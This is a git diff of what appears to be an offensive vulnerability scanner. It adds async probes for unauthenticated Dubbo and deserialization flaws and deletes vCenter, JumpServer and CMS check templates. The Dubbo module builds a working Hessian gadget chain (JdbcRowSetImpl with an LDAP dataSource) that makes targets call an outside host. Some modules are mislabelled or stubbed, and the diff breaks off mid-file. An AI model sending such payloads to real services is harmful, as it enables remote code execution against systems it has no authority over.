-logging.basicConfig(level=logging.INFO, filemode='a', format="[%(levelname)s]%(asctime)s %(message)s")
-abs_path = os.getcwd() + os.path.sep # 路径
-
-
-# filename='./Logs/worklog.txt'
-
-# Exp base
-class Exploit(metaclass=ABCMeta):
-
- def __init__(self):
- self.source = 'BaseExploit' #
- self.domain = ''
- self.headers = {
- 'Accept': 'text/html,application/xhtml+xml,'
- 'application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Encoding': 'gzip, deflate',
- 'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',
- 'Cache-Control': 'max-age=0',
- 'DNT': '1',
- 'Referer': 'https://www.google.com/',
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
- '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
- 'Upgrade-Insecure-Requests': '1',
- 'X-Forwarded-For': '127.0.0.1',
- }
- self.reqTimeout = 10
-
- @abstractmethod
- def exploit(self):
- pass
-
- def writeFile(self, web_lists, page):
- workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx")
- worksheet = workbook.worksheets[page]
- index = 0
- while index < len(web_lists):
- web = list()
- web.append(web_lists[index]['name'])
- web.append(web_lists[index]['url'])
- web.append(web_lists[index]['组件'])
- worksheet.append(web)
- index += 1
- workbook.save(abs_path + str(self.domain) + ".xlsx")
- workbook.close()
-
- @abstractmethod
- def main(self):
- pass
\ No newline at end of file
diff --git a/Exploit/Cms/SangforEdr.py b/Exploit/Cms/SangforEdr.py
index 65cc040..fde286f 100644
--- a/Exploit/Cms/SangforEdr.py
+++ b/Exploit/Cms/SangforEdr.py
@@ -20,7 +20,7 @@ def __init__(self, url, vul_list, requests_proxies):
self.url = url
self.vul_list = vul_list # 存储漏洞的名字和url
self.proxies = requests_proxies # 代理
- self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
+ self.headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
self.isExist = False # 检测该url是否存在漏洞,默认为False,如果测出有漏洞,则设置为True
# 调用各种漏洞检测方法
diff --git a/Exploit/CmsExploit.py b/Exploit/CmsExploit.py
index 0702298..f21d546 100644
--- a/Exploit/CmsExploit.py
+++ b/Exploit/CmsExploit.py
@@ -2,21 +2,26 @@
# @Author : zpchcbd HG team
# @Time : 2021-09-02 22:30
-from exploit.BaseExploit import *
+from exploit.public import *
+from exploit import BaseExploit
+from tqdm import tqdm
-class CmsScan(Exploit):
- def __init__(self, domain, queue: asyncio.Queue):
+class CmsScan(BaseExploit):
+
+ def __init__(self, domain, domainList):
super().__init__()
self.source = 'CmsScan'
self.domain = domain
- self.queue = queue
+ self.domainList = domainList
- def exploit(self, http):
- pass
+ # @ske
+ async def exploit(self):
+ for domain in self.domainList:
+ pass
- def main(self):
- pass
+ async def main(self):
+ await self.exploit()
if '__main__' == __name__:
diff --git a/Exploit/Service/dubbo.py b/Exploit/Service/dubbo.py
index 5f83732..d71f63d 100644
--- a/Exploit/Service/dubbo.py
+++ b/Exploit/Service/dubbo.py
@@ -1,27 +1,81 @@
# coding=utf-8
+from async_timeout import timeout
+from colorama import Fore
+from tqdm import tqdm
from exploit.service.base import *
+from dubbo.codec.hessian2 import Decoder, new_object
+from dubbo.client import DubboClient
-# dubbo反序列化漏洞
-
-def dubboScan(ip, port):
+async def checkUnauth(addr):
try:
- s = socket.socket()
- s.connect((str(_ip), 873))
- s.send(b"@RSYNCD: 31\n")
- s.send(b'\n')
- time.sleep(0.5)
- result = s.recv(1024)
- if result:
- for path_name in re.split('\n', result.decode()):
- if path_name and not path_name.startswith('@RSYNCD: '):
- self.ipunauthlist.append({
- 'name': '未授权访问',
- 'url': str(_ip),
- '组件': 'rsync'
- })
+ with timeout(5):
+ reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1]))
+ writer.write(b'ls\r\n')
+ data = str(await reader.read(1024))
+ writer.close()
+ if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data):
+ tqdm.write(Fore.RED + '[+] Target maybe support dobbo unauth, {}'.format(addr))
+ return {'name': 'unauth', 'url': addr, 'software': 'dubbo'}
except:
pass
finally:
- s.close()
\ No newline at end of file
+ try:
+ writer.close()
+ except NameError:
+ pass
+
+
+# dubbo deserlize, not async, not async func
+async def checkDeserialization(addr):
+ try:
+ client = DubboClient(addr.split(':')[0], int(addr.split(':')[1]))
+
+ JdbcRowSetImpl = new_object(
+ 'com.sun.rowset.JdbcRowSetImpl',
+ dataSource='ldap://1.1.1.1',
+ strMatchColumns=["foo"]
+ )
+ JdbcRowSetImplClass = new_object(
+ 'java.lang.Class',
+ name="com.sun.rowset.JdbcRowSetImpl",
+ )
+ toStringBean = new_object(
+ 'com.rometools.rome.feed.impl.ToStringBean',
+ beanClass=JdbcRowSetImplClass,
+ obj=JdbcRowSetImpl
+ )
+
+ resp = client.send_request_and_return_response(
+ service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
+ # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
+ method_name='$invoke',
+ args=[toStringBean])
+
+ result = str(resp)
+ if 'Fail to decode request due to: RpcInvocation' in result:
+ tqdm.write(Fore.RED + '[+] Target maybe not support deserialization, {}'.format(addr))
+ elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in result:
+ tqdm.write(Fore.RED + '[+] Target support deserialization, {}'.format(addr))
+ return {'name': 'deserialization', 'url': addr, 'software': 'dubbo'}
+ else:
+ tqdm.write(Fore.RED + '[+] Target maybe support deserialization, {}'.format(addr))
+ return {'name': 'maybe deserialization', 'url': addr, 'software': 'dubbo'}
+ except:
+ pass
+
+
+async def dubboScan(addr, pbar):
+ vulList = []
+
+ a = await checkUnauth(addr)
+ b = await checkDeserialization(addr)
+
+ if a is not None:
+ vulList.append(a)
+ if b is not None:
+ vulList.append(b)
+ # b = await checkWeakPass(addr)
+ pbar.update(1)
+ return vulList
diff --git a/Exploit/Service/jdwp.py b/Exploit/Service/jdwp.py
index 48e872a..06c1547 100644
--- a/Exploit/Service/jdwp.py
+++ b/Exploit/Service/jdwp.py
@@ -1,26 +1,40 @@
# coding=utf-8
+from async_timeout import timeout
from exploit.service.base import *
-def jdwpScan():
- # JDWP 命令执行
+async def checkRce(addr):
try:
- s = socket.socket()
- s.connect((str(_ip), 873))
- s.send(b"@RSYNCD: 31\n")
- s.send(b'\n')
- time.sleep(0.5)
- result = s.recv(1024)
- if result:
- for path_name in re.split('\n', result.decode()):
- if path_name and not path_name.startswith('@RSYNCD: '):
- self.ipunauthlist.append({
- 'name': '未授权访问',
- 'url': str(_ip),
- '组件': 'rsync'
- })
+ return {'name': 'rce', 'url': addr, 'software': 'jdwp'}
+ # with timeout(5):
+ # reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1]))
+ # writer.write(b'ls\r\n')
+ # data = str(await reader.read(1024))
+ # writer.close()
+ # if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data):
+ # print('unauth dubbo')
+ # return {'name': 'unauth', 'url': addr, 'software': 'dubbo'}
except:
pass
finally:
- s.close()
+ pass
+ # try:
+ # writer.close()
+ # except NameError:
+ # pass
+
+
+# byself
+async def jdwpScan(addr, pbar):
+ vulList = []
+ a = await checkRce(addr)
+ if a is not None:
+ vulList.append(a)
+ pbar.update(1)
+ return vulList
+
+if __name__ == '__main__':
+ pass
+
+
diff --git a/Exploit/Service/log4j.py b/Exploit/Service/log4j.py
index 2710c5e..5da32b6 100644
--- a/Exploit/Service/log4j.py
+++ b/Exploit/Service/log4j.py
@@ -6,20 +6,22 @@
from exploit.service.base import *
-'''log4j 反序列化'''
-try:
- s = socket.socket()
- s.connect((str(_ip), 11211))
- s.send(b"stats")
- result = s.recv(1024)
- if b"STAT version" in result:
- self.ipunauthlist.append({
- 'name': '未授权访问',
- 'url': str(_ip) + ':11211',
- '组件': 'Memcache'
- })
-except:
- pass
+# log4j 反序列化
+async def log4jScan(addr, pbar):
+ vulList = []
-finally:
- s.close()
\ No newline at end of file
+ try:
+ s = socket.socket()
+ s.connect((addr.split(':')[0], int(addr.split(':')[1])))
+ s.send(b"stats")
+ result = s.recv(1024)
+ if b"STAT version" in result:
+ vulList.append({'name': 'deserialization', 'url': addr, 'software': 'log4j'})
+ except:
+ pass
+ finally:
+ try:
+ writer.close()
+ except NameError:
+ pass
+ return vulList
\ No newline at end of file
diff --git a/Exploit/Web/IBM.py b/Exploit/Web/IBM.py
index c0ec321..ea16895 100644
--- a/Exploit/Web/IBM.py
+++ b/Exploit/Web/IBM.py
@@ -6,20 +6,20 @@
from tqdm import *
from colorama import Fore
+
# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。
# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色
# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url)
# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url)
-
# 模板
class Detect(threading.Thread):
name = 'IBM'
def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies):
threading.Thread.__init__(self)
- self.alive_Web_queue = alive_Web_queue # 存活web的队列
+ self.alive_Web_queue = alive_Web_queue # 存活web的队列
self.pbar = pbar # 进度条
self.vul_list = vul_list # 存储漏洞的名字和url
self.proxies = requests_proxies # 代理
@@ -34,14 +34,12 @@ def run(self):
self.pbar.update(1) # 每完成一个任务,进度条也加+1
self.alive_Web_queue.task_done()
-
# 调用各种漏洞检测方法
def run_detect(self, url):
# 检测是否是IBM
if self.check(url):
pass
-
def check(self, url):
ico_url = url + '/images/ihs/favicon.ico'
m1 = hashlib.md5()
@@ -60,7 +58,6 @@ def check(self, url):
return False
-
if __name__ == '__main__':
from queue import Queue
@@ -85,6 +82,6 @@ def check(self, url):
for t in threads:
t.join()
- tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50)
+ tqdm.write(Fore.BLACK + '-' * 50 + '结果' + '-' * 50)
for vul in vul_list:
- tqdm.write(Fore.BLACK + str(vul))
\ No newline at end of file
+ tqdm.write(Fore.BLACK + str(vul))
diff --git a/Exploit/Web/JumpServer.py b/Exploit/Web/JumpServer.py
deleted file mode 100644
index c200ff2..0000000
--- a/Exploit/Web/JumpServer.py
+++ /dev/null
@@ -1,89 +0,0 @@
-from termcolor import cprint
-import requests
-import threading
-import re
-import hashlib
-from tqdm import *
-from colorama import Fore
-import urllib3
-urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
-# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。
-# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色
-# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url)
-# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url)
-
-
-
-# 模板
-class Detect(threading.Thread):
- name = 'JumpServer'
-
- def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies):
- threading.Thread.__init__(self)
- self.alive_Web_queue = alive_Web_queue # 存活web的队列
- self.pbar = pbar # 进度条
- self.vul_list = vul_list # 存储漏洞的名字和url
- self.proxies = requests_proxies # 代理
- self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
-
- def run(self):
- while not self.alive_Web_queue.empty():
- alive_web = self.alive_Web_queue.get()
- self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示
- self.run_detect(alive_web.rstrip('/'))
- self.pbar.update(1) # 每完成一个任务,进度条也加+1
- self.alive_Web_queue.task_done()
-
- # 调用各种漏洞检测方法
- def run_detect(self, url):
- # 检测是否是JumpServer
- if self.check(url):
- pass
-
- def check(self, url):
- ico_url = url + '/static/img/logo.png'
- m1 = hashlib.md5()
- try:
- m1.update(requests.get(url=ico_url, headers=self.headers, proxies=self.proxies, timeout=20, verify=False, allow_redirects=False).content)
- the_md5 = m1.hexdigest()
- # print(the_md5)
- if the_md5 == 'd5d914f5db9cf9b5283ab4d9e35c59ff':
- tqdm.write(Fore.RED + '[{}] {}'.format('JumpServer', url))
- self.vul_list.append(['JumpServer', url, 'Maybe'])
- return True
- else:
- return False
- except Exception as e:
- return False
-
-if __name__ == '__main__':
- from queue import Queue
-
- alive_web = ['']
- vul_list = []
- # proxy = r''
- # requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)}
- # requests_proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
- requests_proxies = None
- alive_Web_queue = Queue(-1) # 将存活的web存入队列里
- for _ in alive_web:
- alive_Web_queue.put(_)
-
- threads = []
- thread_num = 1 # 漏洞检测的线程数目
-
- pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数
-
- for num in range(1, thread_num + 1):
- t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表
- threads.append(t)
- t.start()
- for t in threads:
- t.join()
-
- pbar.close() # 关闭进度条
-
- tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50)
- for vul in vul_list:
- tqdm.write(Fore.BLACK + str(vul))
\ No newline at end of file
diff --git a/Exploit/Web/cmspro.py b/Exploit/Web/cmspro.py
deleted file mode 100644
index 4cec413..0000000
--- a/Exploit/Web/cmspro.py
+++ /dev/null
@@ -1,67 +0,0 @@
-from termcolor import cprint
-import requests
-import threading
-import re
-import hashlib
-from tqdm import *
-from colorama import Fore
-
-# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。
-# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色
-# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url)
-# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url)
-
-
-# 模板
-class Detect(threading.Thread):
- name = 'CMSPRO'
-
- def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies):
- threading.Thread.__init__(self)
- self.alive_Web_queue = alive_Web_queue # 存活web的队列
- self.pbar = pbar # 进度条
- self.vul_list = vul_list # 存储漏洞的名字和url
- self.proxies = requests_proxies # 代理
- self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
-
- def run(self):
- while not self.alive_Web_queue.empty():
- alive_web = self.alive_Web_queue.get()
- self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示
- self.run_detect(alive_web.rstrip('/'))
- self.pbar.update(1) # 每完成一个任务,进度条也加+1
- self.alive_Web_queue.task_done()
-
- # 调用各种漏洞检测方法
- def run_detect(self, url):
- # upload
- pass
-
-
-if __name__ == '__main__':
- from queue import Queue
-
- alive_web = ['']
- vul_list = []
- proxy = r''
- requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)}
- # requests_proxies = None
- alive_Web_queue = Queue(-1) # 将存活的web存入队列里
- for _ in alive_web:
- alive_Web_queue.put(_)
-
- threads = []
- thread_num = 1 # 漏洞检测的线程数目
-
- pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数
-
- for num in range(1, thread_num + 1):
- t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表
- threads.append(t)
- t.start()
- for t in threads:
- t.join()
-
- tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50)
- for vul in vul_list:
- tqdm.write(Fore.BLACK + str(vul))
\ No newline at end of file
diff --git a/Exploit/Web/viewState.py b/Exploit/Web/viewState.py
deleted file mode 100644
index 9083c68..0000000
--- a/Exploit/Web/viewState.py
+++ /dev/null
@@ -1,92 +0,0 @@
-from termcolor import cprint
-import requests
-import threading
-import re
-import hashlib
-from tqdm import *
-from colorama import Fore
-import urllib3
-urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
-# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。
-# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色
-# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url)
-# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url)
-
-
-
-# 模板
-class Detect(threading.Thread):
- '''
- CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞为任意文件上传
- 存在问题的接口为/ui/vropspluginui/rest/services/uploadova,完整路径(https://domain.com/ui/vropspluginui/rest/services/uploadova)
- 仓库内的payload文件夹内的tar文件为默认冰蝎3 webshell
- https://github.com/NS-Sp4ce/CVE-2021-21972
- '''
-
- name = 'CVE-2021-21972'
-
- def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies):
- threading.Thread.__init__(self)
- self.alive_Web_queue = alive_Web_queue # 存活web的队列
- self.pbar = pbar # 进度条
- self.vul_list = vul_list # 存储漏洞的名字和url
- self.proxies = requests_proxies # 代理
- self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
-
- def run(self):
- while not self.alive_Web_queue.empty():
- alive_web = self.alive_Web_queue.get()
- self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示
- self.run_detect(alive_web.rstrip('/'))
- self.pbar.update(1) # 每完成一个任务,进度条也加+1
- self.alive_Web_queue.task_done()
-
- # 调用各种漏洞检测方法
- def run_detect(self, url):
- # 检测
- self.check(url)
-
- def check(self, url):
- upload_url = url + '/ui/vropspluginui/rest/services/uploadova'
- try:
- res = requests.get(url=upload_url, headers=self.headers, proxies=self.proxies, timeout=20, verify=False, allow_redirects=False)
- status_code = res.status_code
- if status_code == 405:
- tqdm.write(Fore.RED + '[{}] {}'.format('vCenter', url))
- self.vul_list.append(['vCenter', url, 'Yes'])
- return True
- else:
- return False
- except Exception as e:
- return False
-
-if __name__ == '__main__':
- from queue import Queue
-
- alive_web = ['']
- vul_list = []
- # proxy = r''
- # requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)}
- requests_proxies = None
- alive_Web_queue = Queue(-1) # 将存活的web存入队列里
- for _ in alive_web:
- alive_Web_queue.put(_)
-
- threads = []
- thread_num = 1 # 漏洞检测的线程数目
-
- pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数
-
- for num in range(1, thread_num + 1):
- t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表
- threads.append(t)
- t.start()
- for t in threads:
- t.join()
-
- pbar.close() # 关闭进度条
-
- tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50)
- for vul in vul_list:
- tqdm.write(Fore.BLACK + str(vul))
\ No newline at end of file
diff --git a/Exploit/__init__.py b/Exploit/__init__.py
index e69de29..f25cc08 100644
--- a/Exploit/__init__.py
+++ b/Exploit/__init__.py
@@ -0,0 +1,60 @@
+# coding=utf-8
+from exploit.public import *
+
+
+# base Script class
+class BaseScript(object):
+ def __init__(self):
+ self.bugService = ''
+ self.bugType = ''
+ self.bugName = ''
+ self.bugLevel = ''
+
+
+# base Exploit class
+class BaseExploit(metaclass=ABCMeta):
+ __slots__ = ('source', 'headers', 'reqTimeout', 'domain', 'resList')
+
+ def __init__(self):
+ self.source = 'BaseExploit' #
+ self.headers = {
+ 'Accept': 'text/html,application/xhtml+xml,'
+ 'application/xml;q=0.9,*/*;q=0.8',
+ 'Accept-Encoding': 'gzip, deflate',
+ 'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',
+ 'Cache-Control': 'max-age=0',
+ 'DNT': '1',
+ 'Referer': 'https://www.google.com/',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
+ '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
+ 'Upgrade-Insecure-Requests': '1',
+ 'X-Forwarded-For': '127.0.0.1',
+ }
+ self.reqTimeout = 10
+ self.resList = []
+
+ @abstractmethod
+ def exploit(self):
+ pass
+
+ def writeFile(self, web_lists, page):
+ workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx")
+ worksheet = workbook.worksheets[page]
+ index = 0
+ while index < len(web_lists):
+ web = list()
+ # for _ in web_lists.items():
+ # web.append(web_lists[index][0])
+ # web.append(web_lists[index][0])
+ # web.append(web_lists[index][0])
+ web.append(web_lists[index]['name'])
+ web.append(web_lists[index]['url'])
+ web.append(web_lists[index]['software'])
+ worksheet.append(web)
+ index += 1
+ workbook.save(abs_path + str(self.domain) + ".xlsx")
+ workbook.close()
+
+ @abstractmethod
+ def main(self):
+ pass
diff --git a/Exploit/__pycache__/BaseExploit.cpython-37.pyc b/Exploit/__pycache__/BaseExploit.cpython-37.pyc
deleted file mode 100644
index 84cf15142a58e470082f1389045aa15d02b28a87..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 1711
zcmZ`3O>Y}TbY{QpIEjf+i^KsA1ZAtn6p)apqO?u;DiY=pxNIG*#yewY(^;=OGbV{~
zPKm@R{{W%n$X}W(5>n5IJMWESC5`B;-p9_HdEak#mY16Z*6(6D|2`n(FZ@}o5SXU`
zdIpFSP9^yXsV8Yh9rZE~s4x90$bu@&LOPd6S>)t#7CV|`iKC6IA?RWAaOtvjMJN&8
z;WEGq4|vF<3!jp236FVlPIw|h-nj6yRqpMPwD}r5ASt!34C0^UUd`!R3uCY(+962#H6
z@z=*=S(m1upbr;P4`3HS-vh+yjO3&wfWZu4NHJXXyV=qX)8hKRg&iB|dZG$p;{(CC
zP})X@si82Cs6Y!j_>-tr(D?6nsQ+>AXANh1S`^QCRgQXJ3H{R4<6gh7U;lRT_aEoI
z>O>c8v{^B2gz8;e>fN&18K2lB&&yG1@_Y?FjsOuF!8dJRU+63j6wpv^A;madjQHas
zqFv`*8mJZ6vW+9r&t<8NR?GMwjG<8O#2mG8vw5USBXTU+efZayIpR&%7N&2+g%hC^
z;O)k}x$$J8q%(fkU@YeKdLOhbtgSArUCZ96<=ahBXX>tjpkn3dgIn5L3+*TWvj
zo^c*s3bCHhCiD_!k^5KPeRAp>dg#sknFkd4V2AMF!aogWf&R>dXV5|>ns?|dIP*?J
z6VAdj3XK(ar=M&*dHjNHP9JT4xqrjx?>zvW0Gg3Ya)s?nyLejGM?&Ek>$_=4wj`_ioNcFY>mL9z-MC4FDGv4~eO_Zq
zI$N?XnAF?ATwjT8ti)I{7zIzkI1I`WXHr`F+|oT8U{hJYV&gQLS38<(vVjrD#zsmE
zp^`}TL>e1#!Q@^4R`6lCapEIzP`A)c+NST(0Q!H0PVfD{$KAAnQ-cpup4(=g!)r5<
z$hY$R)r7gHD$mtBpiW`I)w_uBF;Lj$>H#90yd-P|@P%$4(%gXe
zkrk3@own`rZe3ONs8cv%6D3|v1WcQaWj!30qoMU#znI&{8CBSnHZBgB;=)+3);6if
zVl+NEmNpr);w8){+=j`KW&d;A=A~wR2Y|WFhjqz)YKcV=w9Y(H2*Mk25)cK+Y
diff --git a/Exploit/__pycache__/BaseExploit.cpython-38.pyc b/Exploit/__pycache__/BaseExploit.cpython-38.pyc
deleted file mode 100644
index de10e24acb0d120d53ef7cb7d94db8edccd6bd73..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 2568
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.*?)', text, re.S)[0].strip(
- ' ').strip('\r\n').strip('\n').strip('\r')
- try:
- service = response.headers.get('Server')
- except:
- service = ''
- try:
- content = text
- except:
- content = ''
- return title, service, content
- except:
- title = ''
- return title, '', ''
-
- # 获取 title service
- def getTitleAndService2(self, link, port):
- try:
- resp = requests.get(url=link, verify=False)
- text = resp.content.decode('utf-8')
- title = re.findall(r'(.*?)', text, re.S)[0].strip(
- ' ').strip('\r\n').strip('\n').strip('\r')
- try:
- service = resp.headers.get('Server')
- except:
- service = ''
- try:
- content = text
- except:
- content = ''
- return title, service, content
- except:
- title = ''
- return title, '', ''
-
- # 匹配每个页面中的子域名
- def matchSubdomain(self, domain, text):
- regexp = r'(?:[a-z0-9](?:[a-z0-9\-]{0,61}[a-z0-9])?\.){0,}' + domain.replace('.', r'\.')
- result = re.findall(regexp, text, flags=re.I | re.S)
- if not result:
- return list()
- deal = map(lambda s: s.lower(), result)
- return list(deal)
diff --git a/Spider/BeianSpider.py b/Spider/BeianSpider.py
index adba312..53f3b4a 100644
--- a/Spider/BeianSpider.py
+++ b/Spider/BeianSpider.py
@@ -1,14 +1,15 @@
# coding=utf-8
# @Author : zpchcbd HG team
# @Time : 2021-08-26 13:46
-from spider.BaseSpider import *
+from spider.public import *
+from spider import BaseSpider
import math
from urllib.parse import quote
from termcolor import cprint
from lxml import etree
-class BeianSpider(Spider):
+class BeianSpider(BaseSpider):
def __init__(self, domain):
super().__init__()
self.source = 'Beian'
diff --git a/Spider/BingSpider.py b/Spider/BingSpider.py
